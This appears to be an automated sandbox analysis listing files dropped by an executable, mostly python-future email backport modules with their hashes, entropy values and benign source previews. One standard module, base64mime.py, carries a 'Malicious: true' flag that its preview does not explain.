SHA-256:	9B5BD345FC4041D83857258EECF17ED628759A6ABDED5F813F21C792E13048C1
SHA-512:	7F1DAF25FD298ADF823BE856DFB2C6B173582F34A59402054C022DF3D0296F14F2702549B561EC9156655799BEE78306AA53FAE6435C6F23B83C164136FDA50C
Malicious:	false
Preview:	""" Routines for manipulating RFC2047 encoded words...This is currently a package-private API, but will be considered for promotion.to a public API if there is demand...""".from __future__ import unicode_literals.from __future__ import division.from __future__ import absolute_import.from future.builtins import bytes.from future.builtins import chr.from future.builtins import int.from future.builtins import str..# An ecoded word looks like this:.#.# =?charset[*lang]?cte?encoded_string?=.#.# for more information about charset see the charset module. Here it is one.# of the preferred MIME charset names (hopefully; you never know when parsing)..# cte (Content Transfer Encoding) is either 'q' or 'b' (ignoring case). In.# theory other letters could be used for other encodings, but in practice this.# (almost?) never happens. There could be a public API for adding entries.# to the CTE tables, but YAGNI for now. 'q' is Quoted Printable, 'b' is.# Base64. The meaning of encoded_string

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\_header_value_parser.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	104692
Entropy (8bit):	4.512172490024478
Encrypted:	false
SSDEEP:	1536:iQnY/hLcND4I3MfXAUYCQzc7f1fo3XPCtwGEPXoFCnc7:fYG+I3MfXX7f1X
MD5:	DFDB551845A6A005279CECAC8DE4478D
SHA1:	ACB6D18B320D32BE2A2E109DAEC61F28DDE41A25
SHA-256:	723FF571ED6FA0B9FC1FDF2BF5C2AA8922E07C54B10AFDFF50BDEC4AF8EA8239
SHA-512:	324AA0CBEDA2953141B84F1A279BF0C0BE380E87C01C662252F3A762A02C2A820A97FF4E9DDBE823CD17150E88A00BF5DE2767C82AE336D70602596901B0B65E
Malicious:	false
Preview:	"""Header value parser implementing various email-related RFC parsing rules...The parsing methods defined in this module implement various email related.parsing rules. Principal among them is RFC 5322, which is the followon.to RFC 2822 and primarily a clarification of the former. It also implements.RFC 2047 encoded word decoding...RFC 5322 goes to considerable trouble to maintain backward compatibility with.RFC 822 in the parse phase, while cleaning up the structure on the generation.phase. This parser supports correct RFC 5322 generation by tagging white space.as folding white space only when folding is allowed in the non-obsolete rule.sets. Actually, the parser is even more generous when accepting input than RFC.5322 mandates, following the spirit of Postel's Law, which RFC 5322 encourages..Where possible deviations from the standard are annotated on the 'defects'.attribute of tokens that deviate...The general structure of the parser follows RFC 5322, and uses its terminology.whe

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\_parseaddr.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	17389
Entropy (8bit):	4.357613658379343
Encrypted:	false
SSDEEP:	192:7uFhojglHiH3UIx/H4LW/MYZqrvhXiWaykw6dPYWH5E64:7uMjgViEIx/HFoZnkhP3HA
MD5:	4A8FA826B403FE44B9D08E2AFE4383A8
SHA1:	E8DB9914FAED7C2D64E86254F69165EC055BC322
SHA-256:	29EC049E8B3460333E4985F9D37CFB13532655B1B955168A8F18DC9742298DBB
SHA-512:	510326552CE480F21C3D57FBD0CA8B23AB18A6BF90B4BFFC7D0916E329F3A70502C785EDC868ABF0D4933FEE84395FDACB40834A466F2D4D659B23B5DEC62A70
Malicious:	false
Preview:	# Copyright (C) 2002-2007 Python Software Foundation.# Contact: email-sig@python.org.."""Email address parsing code...Lifted directly from rfc822.py. This should eventually be rewritten.."""..from __future__ import unicode_literals.from __future__ import print_function.from __future__ import division.from __future__ import absolute_import.from future.builtins import int..__all__ = [. 'mktime_tz',. 'parsedate',. 'parsedate_tz',. 'quote',. ]..import time, calendar..SPACE = ' '.EMPTYSTRING = ''.COMMASPACE = ', '..# Parse a date field._monthnames = ['jan', 'feb', 'mar', 'apr', 'may', 'jun', 'jul',. 'aug', 'sep', 'oct', 'nov', 'dec',. 'january', 'february', 'march', 'april', 'may', 'june', 'july',. 'august', 'september', 'october', 'november', 'december'].._daynames = ['mon', 'tue', 'wed', 'thu', 'fri', 'sat', 'sun']..# The timezone table does not include the military time zones defined.# in RFC822, other than Z. According to RFC112

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\_policybase.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	14647
Entropy (8bit):	4.340161624240629
Encrypted:	false
SSDEEP:	192:5hx+vGE/fa9AyJAewGQqLFBIeIAysMHJd/Gabkdn+U8CJDHs3KmiQ+e5Rq:5hREXkAOlIApMHjeabMn76p+7
MD5:	90B007C665D5ABA1C1DFC8093097F803
SHA1:	B576088C300A865F0C7231C7680B11D57E67E17E
SHA-256:	DA5243F71A2E8B3E2E1EF58643A8F59F0970595406C30CE9CB9259A1E42A8547
SHA-512:	BA803ED1A5ED621653AB819A50327E1676065D2FCF01DE4B4F50C2F8D30E7E322B78EB0734E7238FCF60A72C747F35D38755EFA7D31D415DA1D30BEF79AC44BB
Malicious:	false
Preview:	"""Policy framework for the email package...Allows fine grained feature control of how the package parses and emits data..""".from __future__ import unicode_literals.from __future__ import print_function.from __future__ import division.from __future__ import absolute_import.from future.builtins import super.from future.builtins import str.from future.utils import with_metaclass..import abc.from future.backports.email import header.from future.backports.email import charset as _charset.from future.backports.email.utils import _has_surrogates..__all__ = [. 'Policy',. 'Compat32',. 'compat32',. ]...class _PolicyBase(object):.. """Policy Object basic framework... This class is useless unless subclassed. A subclass should define. class attributes with defaults for any values that are to be. managed by the Policy object. The constructor will then allow. non-default values to be set for these attributes at instance. creation time. The instance will be callable,

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\base64mime.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3761
Entropy (8bit):	4.792043240323483
Encrypted:	false
SSDEEP:	48:TXZgoMN59tl3kWReNWuEoaYOZkxtUVxZy053WMGQHbHSLmCYjNnig2b480SrFc6h:TXebReNCu053QQLCSig2ZrO6pv7NHZ
MD5:	61FD94F7C9E4E474EC0C1EF287C59ADB
SHA1:	07419A4168068A4C9C229F04D73D4BE1C249558C
SHA-256:	817645C61EBA8E4E83D94A809A345B9A6CA13976C651666615C755388A256981
SHA-512:	1A7C3560EB09ECCFA2875A3F90DD667D52E35E5FB8EB64E09505CA9515C99F4F2375E95E3F54D8B98D5E82E93F2A3CF0E180C7B2703956045F961C840070EFC6
Malicious:	true
Preview:	# Copyright (C) 2002-2007 Python Software Foundation.# Author: Ben Gertzfield.# Contact: email-sig@python.org.."""Base64 content transfer encoding per RFCs 2045-2047...This module handles the content transfer encoding method defined in RFC 2045.to encode arbitrary 8-bit data using the three 8-bit bytes in four 7-bit.characters encoding known as Base64...It is used in the MIME standards for email to attach images, audio, and text.using some 8-bit character sets to messages...This module provides an interface to encode and decode both headers and bodies.with Base64 encoding...RFC 2045 defines a method for including character set information in an.`encoded-word' in a header. This method is commonly used for 8-bit real names.in To:, From:, Cc:, etc. fields, as well as Subject: lines...This module does not do the line wrapping or end-of-line character conversion.necessary for proper internationalized headers; it only does dumb encoding and.decoding. To deal with the various line wrapping

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\charset.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	17439
Entropy (8bit):	4.5575545581548385
Encrypted:	false
SSDEEP:	384:WgQvUtimeZejGkTfpad+4uObBbCSc/1Wx:WCHETAp39Sc/1Wx
MD5:	569FEC5297937F5088A64CB9D5636134
SHA1:	B7B31D1E77EAEC0BBFD89D9575B8957DCBCA2F21
SHA-256:	09F138895DB302AE8C402D021D71CB9F04CD5BBD739A13484DBCCE71FC44E2F6
SHA-512:	7514692B4CB18C5377858CB5DAB046F3CFFC7757ADDEE3B033AA8175A74E3C7C95F16B62D698F0A9EC2D7D434FC638D85ADFAFCA7C051E46A3F8B6D506C0C39B
Malicious:	false
Preview:	from __future__ import unicode_literals.from __future__ import division.from __future__ import absolute_import.from future.builtins import str.from future.builtins import next..# Copyright (C) 2001-2007 Python Software Foundation.# Author: Ben Gertzfield, Barry Warsaw.# Contact: email-sig@python.org..__all__ = [. 'Charset',. 'add_alias',. 'add_charset',. 'add_codec',. ]..from functools import partial..from future.backports import email.from future.backports.email import errors.from future.backports.email.encoders import encode_7or8bit...# Flags for types of header encodings.QP = 1 # Quoted-Printable.BASE64 = 2 # Base64.SHORTEST = 3 # the shorter of QP and base64, but only for headers..# In "=?charset?q?hello_world?=", the =?, ?q?, and ?= add up to 7.RFC2047_CHROME_LEN = 7..DEFAULT_CHARSET = 'us-ascii'.UNKNOWN8BIT = 'unknown-8bit'.EMPTYSTRING = ''...# Defaults.CHARSETS = {. # input header enc body enc output conv. 'iso-8859-1': (QP,

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\encoders.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2800
Entropy (8bit):	4.724208138405976
Encrypted:	false
SSDEEP:	48:fXdyuEoUHHVdsWkXRroswpwU+VvEe3uXSVbCX5c6rlE/CXE:fX8HV6WkXRroolSw
MD5:	3D32F1EB078B76857958268EB3EBCDB8
SHA1:	6FDD14C117E1FDCB296C8A018B211E4CFEAE0BDB
SHA-256:	367E0F731D6B39D460A1223307A4F94561E5E73C4295B7F7DB0804E83D2D52DF
SHA-512:	47869B8322773249523E5EA97D56ED88F2345542BCEBFE637646565042F36FB09C1B80E517000D86C638E20C8551A6216BF8A754D20A5E2273236469D42D3024
Malicious:	false
Preview:	# Copyright (C) 2001-2006 Python Software Foundation.# Author: Barry Warsaw.# Contact: email-sig@python.org.."""Encodings and related functions.""".from __future__ import unicode_literals.from __future__ import division.from __future__ import absolute_import.from future.builtins import str..__all__ = [. 'encode_7or8bit',. 'encode_base64',. 'encode_noop',. 'encode_quopri',. ]...try:. from base64 import encodebytes as _bencode.except ImportError:. # Py2 compatibility. TODO: test this!. from base64 import encodestring as _bencode.from quopri import encodestring as _encodestring...def _qencode(s):. enc = _encodestring(s, quotetabs=True). # Must encode spaces, which quopri.encodestring() doesn't do. return enc.replace(' ', '=20')...def encode_base64(msg):. """Encode the message's payload in Base64... Also, add an appropriate Content-Transfer-Encoding header.. """. orig = msg.get_payload(). encdata = str(_bencode(orig), 'ascii'). msg.set_pay

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\errors.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3680
Entropy (8bit):	4.77642488640004
Encrypted:	false
SSDEEP:	96:fX4f8SJ87cSjUbAJrFIrEQJaojKm6YLQ/1:/ELJ87cvkJZI78IKm6YLQ/1
MD5:	85CA376682E67FD564E83ECAC96180B9
SHA1:	3683144C4A7E711C673B2EEF3F225A73021B56E7
SHA-256:	B515FC3CFE60EE69366C0C4BD634C262B6DF843DA03D914DAE1E3F18944CF0E4
SHA-512:	C516CF236C2A5FB131FCD19C14E94DBCE4A12C48DBC05CC8E671DDF3731EE9E7A5E8D9ABCE0A9527EC97BEABDFFB26122AEB9468BEF0049D3C8BC7B7AB778920
Malicious:	false
Preview:	# Copyright (C) 2001-2006 Python Software Foundation.# Author: Barry Warsaw.# Contact: email-sig@python.org.."""email package exception classes.""".from __future__ import unicode_literals.from __future__ import division.from __future__ import absolute_import.from future.builtins import super...class MessageError(Exception):. """Base class for errors in the email package."""...class MessageParseError(MessageError):. """Base class for message parsing errors."""...class HeaderParseError(MessageParseError):. """Error while parsing headers."""...class BoundaryError(MessageParseError):. """Couldn't find terminating boundary."""...class MultipartConversionError(MessageError, TypeError):. """Conversion to a multipart is prohibited."""...class CharsetError(MessageError):. """An illegal charset was given."""...# These are parsing defects which the parser was able to work around..class MessageDefect(ValueError):. """Base class for a message defect.""".. def __init__(self,

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\feedparser.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	22736
Entropy (8bit):	4.11602391666358
Encrypted:	false
SSDEEP:	384:YQtlx0E9urZvPcHXwOWwPVjnGJMnlfx4JU:YQD2EqkHXfWQVjBnlfuJU
MD5:	89C8F28F784AECC182136A8FD418186D
SHA1:	B9647AE43F255C8F2F9B66E52FAC958E8CF0695F
SHA-256:	6EF9A16F871D63E8A97B1B4F2B62B6B0380CB0DBD3B299AE41F6320B1738CD27
SHA-512:	D534D29752A4EBDE34B132866E589EFD6B99F81DB4BFE3F38E51EDEBE4E2AF8220113DB5428192A103018A18F355CDCA0BA519DE8B7EA288A52BA0C5FFE2084D
Malicious:	false
Preview:	# Copyright (C) 2004-2006 Python Software Foundation.# Authors: Baxter, Wouters and Warsaw.# Contact: email-sig@python.org.."""FeedParser - An email feed parser...The feed parser implements an interface for incrementally parsing an email.message, line by line. This has advantages for certain applications, such as.those reading email messages off a socket...FeedParser.feed() is the primary interface for pushing new data into the.parser. It returns when there's nothing more it can do with the available.data. When you have no more data to push into the parser, call .close()..This completes the parsing and returns the root message object...The other advantage of this parser is that it will never raise a parsing.exception. Instead, when it finds something unexpected, it adds a 'defect' to.the current message. Defects are just instances that live on the message.object's .defects attribute..""".from __future__ import unicode_literals.from __future__ import division.from __future__ import

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\generator.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	19520
Entropy (8bit):	4.416408762122293
Encrypted:	false
SSDEEP:	384:+6UcT4Q+tlak3jv17drtnLatrYRRRgT6KZ+egR:+6UcsL6kzd7bnetrcRR46Kkb
MD5:	8E33F3F7408241C0A28E00447D9C618A
SHA1:	70E08D5011F26747E349E2351C0A9BD863501B6B
SHA-256:	96968B8591E77A0BAF67642046EEC58A09236FBCE6636F001A18FD8994DD23BB
SHA-512:	0C4BC64149FD251DA7C5F0699190D9AF59400453A7EF34A35A5AFE927727F8530A26ABB9BFB5F58F3A6604E9DB17A221B73E48660F6472437A13FD721406CD1C
Malicious:	false
Preview:	# Copyright (C) 2001-2010 Python Software Foundation.# Author: Barry Warsaw.# Contact: email-sig@python.org.."""Classes to generate plain text from a message object tree.""".from __future__ import print_function.from __future__ import unicode_literals.from __future__ import division.from __future__ import absolute_import.from future.builtins import super.from future.builtins import str..__all__ = ['Generator', 'DecodedGenerator', 'BytesGenerator']..import re.import sys.import time.import random.import warnings..from io import StringIO, BytesIO.from future.backports.email._policybase import compat32.from future.backports.email.header import Header.from future.backports.email.utils import _has_surrogates.import future.backports.email.charset as _charset..UNDERSCORE = '_'.NL = '\n' # XXX: no longer used by the code below...fcre = re.compile(r'^From ', re.MULTILINE)...class Generator(object):. """Generates output from a Message object tree... This basic generator writes the message

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\header.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	24448
Entropy (8bit):	4.338150041057588
Encrypted:	false
SSDEEP:	384:7Fas+mTfmfZx8LyfSNGju8/G4w4/bl+gMyETgQex0Bo3fsD7zafVaa:7IMuf38LWSgju8u4w4IgMyogQ4MJD7zC
MD5:	878DFD61E3968BE371454B20DE7771E8
SHA1:	9BBA1A8429AC03F01D4B54A70E1E40430260B852
SHA-256:	B811DB34A3BECB1E48F4A05F95EAE7269CB2DDF5F8808982075404EC8080A4BB
SHA-512:	2D60E707A04EA6E77A8B5CE72F0A14541C1B1DA0E8D7CB5E652E5CDAEB5DCF016269CD36B67CD03FC6AC09736CF6B40C5B86E555110616165B72EEEAFF53B081
Malicious:	false
Preview:	# Copyright (C) 2002-2007 Python Software Foundation.# Author: Ben Gertzfield, Barry Warsaw.# Contact: email-sig@python.org.."""Header encoding and decoding functionality.""".from __future__ import unicode_literals.from __future__ import division.from __future__ import absolute_import.from future.builtins import bytes, range, str, super, zip..__all__ = [. 'Header',. 'decode_header',. 'make_header',. ]..import re.import binascii..from future.backports import email.from future.backports.email import base64mime.from future.backports.email.errors import HeaderParseError.import future.backports.email.charset as _charset..# Helpers.from future.backports.email.quoprimime import _max_append, header_decode..Charset = _charset.Charset..NL = '\n'.SPACE = ' '.BSPACE = b' '.SPACE8 = ' ' * 8.EMPTYSTRING = ''.MAXLINELEN = 78.FWS = ' \t'..USASCII = Charset('us-ascii').UTF8 = Charset('utf-8')..# Match encoded-word strings in the form =?charset?q?Hello_World?=.ecre = re.compile(r'''. =\?

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\headerregistry.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	20637
Entropy (8bit):	4.430323457323805
Encrypted:	false
SSDEEP:	384:H16qR6QcEJj23RxJpPeENvoHsMbbeDFGeU5g:H1Hdq3RCsobeh
MD5:	5E5F1D298FC1FB842B4AED0072E1959D
SHA1:	C29CB06AFC0F9504D4FBF9AC3C71670499A1450C
SHA-256:	64F6EF2CA5C3D0D30B494E235E55477C6C8670B32B166F86415511BBF5C78FCF
SHA-512:	80772558B17CF6AB6E1F21463F448296335374B0114D33144248D69B43ABDA4FB6A8D8AEBC7341755760CA43119242520446E4B5889C413D20E46C1A4017D566
Malicious:	false
Preview:	"""Representing and manipulating email headers via custom objects...This module provides an implementation of the HeaderRegistry API..The implementation is designed to flexibly follow RFC5322 rules...Eventually HeaderRegistry will be a public API, but it isn't yet,.and will probably change some before that happens...""".from __future__ import unicode_literals.from __future__ import division.from __future__ import absolute_import..from future.builtins import super.from future.builtins import str.from future.utils import text_to_native_str.from future.backports.email import utils.from future.backports.email import errors.from future.backports.email import _header_value_parser as parser..class Address(object):.. def __init__(self, display_name='', username='', domain='', addr_spec=None):. """Create an object represeting a full email address... An address can have a 'display_name', a 'username', and a 'domain'. In. addition to specifying the username and domain sep

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\iterators.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2348
Entropy (8bit):	4.650585378256068
Encrypted:	false
SSDEEP:	48:fXdD9IFduEod7+2M070JwfxUk9vfy9O0xfMbhn4g44LjlLgyf:fX5e2M0oJkUk9d0dMbh4gt3ls6
MD5:	29F5348C0F794179D044B890F305C7B8
SHA1:	F15CEA7EE79E0BBD8EB58560A45370777F97D50B
SHA-256:	90C458146CB7495569A3B1C6EC926BD990253A8697E8254FCCA6300D2BCB7D5D
SHA-512:	A7F73CE8BBAB588A0347359F7553B5FAF5933BB15698463F921FB7F03A9F7A2534F8BCF6A61B58CBA67641EAA1655B4B0970F4077C70D5BD69E275E4AF196348
Malicious:	false
Preview:	# Copyright (C) 2001-2006 Python Software Foundation.# Author: Barry Warsaw.# Contact: email-sig@python.org.."""Various types of useful iterators and generators.""".from __future__ import print_function.from __future__ import unicode_literals.from __future__ import division.from __future__ import absolute_import..__all__ = [. 'body_line_iterator',. 'typed_subpart_iterator',. 'walk',. # Do not include _structure() since it's part of the debugging API.. ]..import sys.from io import StringIO...# This function will become a method of the Message class.def walk(self):. """Walk over the message tree, yielding each subpart... The walk is performed in depth-first order. This method is a. generator.. """. yield self. if self.is_multipart():. for subpart in self.get_payload():. for subsubpart in subpart.walk():. yield subsubpart...# These two functions are imported into the Iterators.py interface module..def body_line_iterator(ms

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\message.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, Unicode text, UTF-8 text executable
Category:	dropped
Size (bytes):	35237
Entropy (8bit):	4.3504680047351165
Encrypted:	false
SSDEEP:	768:vpHD9O4DQ3lZZQSi9W5RgDqyYZfDWZoiSL8TQcWqnnD199F:vpHDdMlZmW5RgDncbWZoiSQTQcWqnnJZ
MD5:	96956D4539979C2F9B032AABDC69AE71
SHA1:	19EA3F61E773E2E733DE575142DD8FCDA1063B3C
SHA-256:	23A596E5C643CDAEEEC0B386252BEC0E11990BD2BF439EF42E4DA0B7FBC35173
SHA-512:	7F3185C580F6BF14D1FB00243A0272E0D85A917EE31052881CFA0FB9ACF033021CA25155E3CEF7629A722F22BC385FC793909E0C4636FAC50A75276E6AF55962
Malicious:	false
Preview:	# -- coding: utf-8 --.# Copyright (C) 2001-2007 Python Software Foundation.# Author: Barry Warsaw.# Contact: email-sig@python.org.."""Basic message object for the email package object model.""".from __future__ import absolute_import, division, unicode_literals.from future.builtins import list, range, str, zip..__all__ = ['Message']..import re.import uu.import base64.import binascii.from io import BytesIO, StringIO..# Intrapackage imports.from future.utils import as_native_str.from future.backports.email import utils.from future.backports.email import errors.from future.backports.email._policybase import compat32.from future.backports.email import charset as _charset.from future.backports.email._encoded_words import decode_b.Charset = _charset.Charset..SEMISPACE = '; '..# Regular expression that matches `special' characters in parameters, the.# existence of which force quoting of the parameter value..tspecials = re.compile(r'[ <>@,;:\\"/\[\]\?=]')...def _splitparam(param):. # S

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\mime\pycache\init.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	199
Entropy (8bit):	4.8352792814359535
Encrypted:	false
SSDEEP:	3:y/nnUlluleh/wZWRSBMNKGaESzu5E8AGvOWdVWrzdd5gKASEBQRkcTgp:y/U/qeh/wcSBMDHSC5EgTdAr3+bhBQD4
MD5:	631D3222E65D1BA3A9D5C62929B0E298
SHA1:	CE0D3AD126A519765CA1706291052A0BFFC37374
SHA-256:	2D21C6E7BEF1CB6AAA9AFBFD98D73BE9042B50AA3513EFF59BDE2224E6857FB0
SHA-512:	2567CCC16ACF0E5D3BA3759F4F7654091EA225A075FD5F2BF567C2390D9F7A42BBE2716A2E19FA1ECC96A85146A0CDC36E9EE1EA7BEF4D0820D10981BEE88D22
Malicious:	false
Preview:	o.........e.........................@...s....d.S.).N..r....r....r.....g...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\future/backports/email/mime/__init__.py..<module>....s......

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\mime\pycache\application.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	1644
Entropy (8bit):	5.28410796563739
Encrypted:	false
SSDEEP:	24:ny8SSz2GBgYoC2aWIWYmizU7XIfr2mazWjO96LjZv85pc8xlEMQzRRgbQbHJqEjQ:y8BzfgYx2UK71T83F8QxL+QzZjQD
MD5:	AF42ECEDE222377AD88BCC1B1D5B2981
SHA1:	00E5290BC3E45B5DA8CC977A18B8CDD878D810EA
SHA-256:	F06240DC11149FC077A5D72C46EABEF52D056AF39649EC6C13DA5B25F7A2805B
SHA-512:	FC66AE3D5EBB73FF6463B4F13B5C7F7BDD15DACC769267AF5BC3DF3F1CAFA4C4E282E8D88C31D85E27E8DE931C8489F4EB4F41A6195994F899E86AA2ADDED584
Malicious:	false
Preview:	o.........ey........................@...sZ...d.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.g.Z.G.d.d...d.e...Z.d.S.).z5Class representing application/* type MIME documents......)...unicode_literals)...division)...absolute_import)...encoders)...MIMENonMultipart..MIMEApplicationc....................@...s ...e.Z.d.Z.d.Z.d.e.j.f.d.d...Z.d.S.).r....z2Class for generating application/* MIME documents.z.octet-streamc....................K...s<...\|.d.u.r.t.d.....t.j.\|.d.\|.f.i.\|.......\|...\|.....\|.\|.....d.S.).a....Create an application/* type MIME document... _data is a string containing the raw application data... _subtype is the MIME content type subtype, defaulting to. 'octet-stream'... _encoder is a function which will perform the actual encoding for. transport of the application data, defaulting to base64 encoding... Any additional keyword arguments are passed to the base class. constructor, which turns them into parameter

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\mime\pycache\audio.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	2811
Entropy (8bit):	5.2658093780211805
Encrypted:	false
SSDEEP:	48:ED9z0ngPUioZjR1D7+EAOD0raT1zGuC/KvpW3F8w1cKYgQXK:e4ZjR1H3AOD0raT1PCSIV8ccXgl
MD5:	CCFE4E2C5462C5EEBE94C3EABD276F6D
SHA1:	AF2A2FEEDE7A685EB77CAEC676806BF1549480A4
SHA-256:	F427D0BB0A458AA0EF48336277A5C3996347E29B14C54A1C0C093DE8378D6E88
SHA-512:	62B3D8509EC0DF668134C15952570B602616DE400C52D557444BFDB485A222FADF99944326D9B9C8AE0A3C933121001D86A6B64BD1B62823680438AE27E30C21
Malicious:	false
Preview:	o.........e.........................@...s....d.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.g.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.d.d.d...Z.d.d...Z.G.d.d...d.e...Z.d.S.).z/Class representing audio/* type MIME documents......)...unicode_literals)...division)...absolute_import..MIMEAudioN)...BytesIO)...encoders)...MIMENonMultipart..basicz.x-wavz.x-aiff)...auZ.wavZ.aiffZ.aifcc....................C...sH...\|.d.d.....}.t.\|...}.t.j.D.].}.\|.\|.\|...}.\|.d.u.r!t...\|.d.........S.q.d.S.).a....Try to identify a sound file type... sndhdr.what() has a pretty cruddy interface, unfortunately. This is why. we re-do it here. It would be easier to reverse engineer the Unix 'file'. command and use the standard 'magic' file, as shipped with a modern Unix.. Ni....r....).r......sndhdr..tests.._sndhdr_MIMEmap..get)...data..hdrZ.fakefileZ.testfn..res..r.....d...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\future/backports/email/mime/audio.py.._whatsnd....s...............

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\mime\pycache\base.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	1133
Entropy (8bit):	5.330626363730155
Encrypted:	false
SSDEEP:	24:CkJ5q3Pp8U4qXmbztr5LotX/YNhtqEM/xRKspzO/Thul:C3h8U4Hb55nN8Kspzyul
MD5:	496754B62379746C4FA6B6FE99A54819
SHA1:	7BE033AFF4924510F16004457155B6DDB5BF2A83
SHA-256:	70E323D338D349E417BBB4FC24C18C81B8924EB182E6F98A2F849FEEE62A314E
SHA-512:	FD21F6EF9E843F282801F41A16F2F398FB7ECDDE3AF520ABECF4D5366ACA7D9CD08390F3930F5DDA08ADE1B89806E61767898D9EA08BC7D959783AA025FA2CD8
Malicious:	false
Preview:	o.........ek........................@...s@...d.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.g.Z.G.d.d...d.e.j...Z.d.S.)..$Base class for MIME specializations......)...absolute_import..division..unicode_literals)...message..MIMEBasec....................@...s....e.Z.d.Z.d.Z.d.d...Z.d.S.).r....r....c....................K...s8...t.j...\|.....d.\|.\|.f...}.\|.j.d.\|.f.i.\|.......d.\|.d.<.d.S.).z.This constructor adds a Content-Type: and a MIME-Version: header... The Content-Type: header is taken from the _maintype and _subtype. arguments. Additional parameters for this header are taken from the. keyword arguments.. z.%s/%sz.Content-Typez.1.0z.MIME-VersionN).r......Message..__init__..add_header)...selfZ._maintype.._subtype.._params..ctype..r.....c...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\future/backports/email/mime/base.pyr........s............z.MIMEBase.__init__N)...__name__..__module__..__qualname__..__doc__r....r....r....r....r....r........s.........

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\email\mime\pycache\image.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	2089
Entropy (8bit):	5.207923428698874
Encrypted:	false
SSDEEP:	48:gCEz3gD9V7uzcT1zGuC/KvpW3F8obACPqhn9:bai9V71T1PCSIV8oTPU9
MD5:	66B1994FBCD380F05004DD7E0D25D5C9
SHA1:	F6BBF1E1DD91B6123527BA9334375A3193F210DA
SHA-256:	FE989B9529B0EC59519507736D662E17D51231ED39F135533B85F3B61CCD0725
SHA-512:	A441BED9B94F945AD2ABC93F12BC8ED9CACBB7EDB98C359B5E46C8ADBCD304424C358A0743797548F342F61A2FDEC34B1E8261FA9EAB84A7B7DD45C10D5C128C
Malicious:	false
